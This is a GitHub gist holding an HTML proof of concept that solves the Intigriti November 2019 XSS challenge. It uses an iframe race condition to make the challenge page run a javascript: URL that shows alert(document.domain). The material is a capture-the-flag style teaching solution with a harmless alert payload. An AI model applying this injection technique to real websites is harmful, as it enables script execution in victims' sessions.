Skip to content

Instantly share code, notes, and snippets.

@radekk
Created November 25, 2019 11:33
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save radekk/951318d4f7d17658a8586afb2c48c1e9 to your computer and use it in GitHub Desktop.
Save radekk/951318d4f7d17658a8586afb2c48c1e9 to your computer and use it in GitHub Desktop.
Intigriti XSS challenge solution 11.2019 - Race Condition
<html>
<body>
<iframe id="ifr"></iframe>
<script>
var ifr = document.getElementById('ifr');
ifr.src = 'https://challenge.intigriti.io/#https://intigriti.io';
ifr.onload = () => {
setTimeout(() => {
ifr.src = 'https://challenge.intigriti.io/#javascript:alert(document.domain)';
}, 0);
}
</script>
</body>
</html>
<!-- https://twitter.com/intigriti/status/1196414274584875010 //-->
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment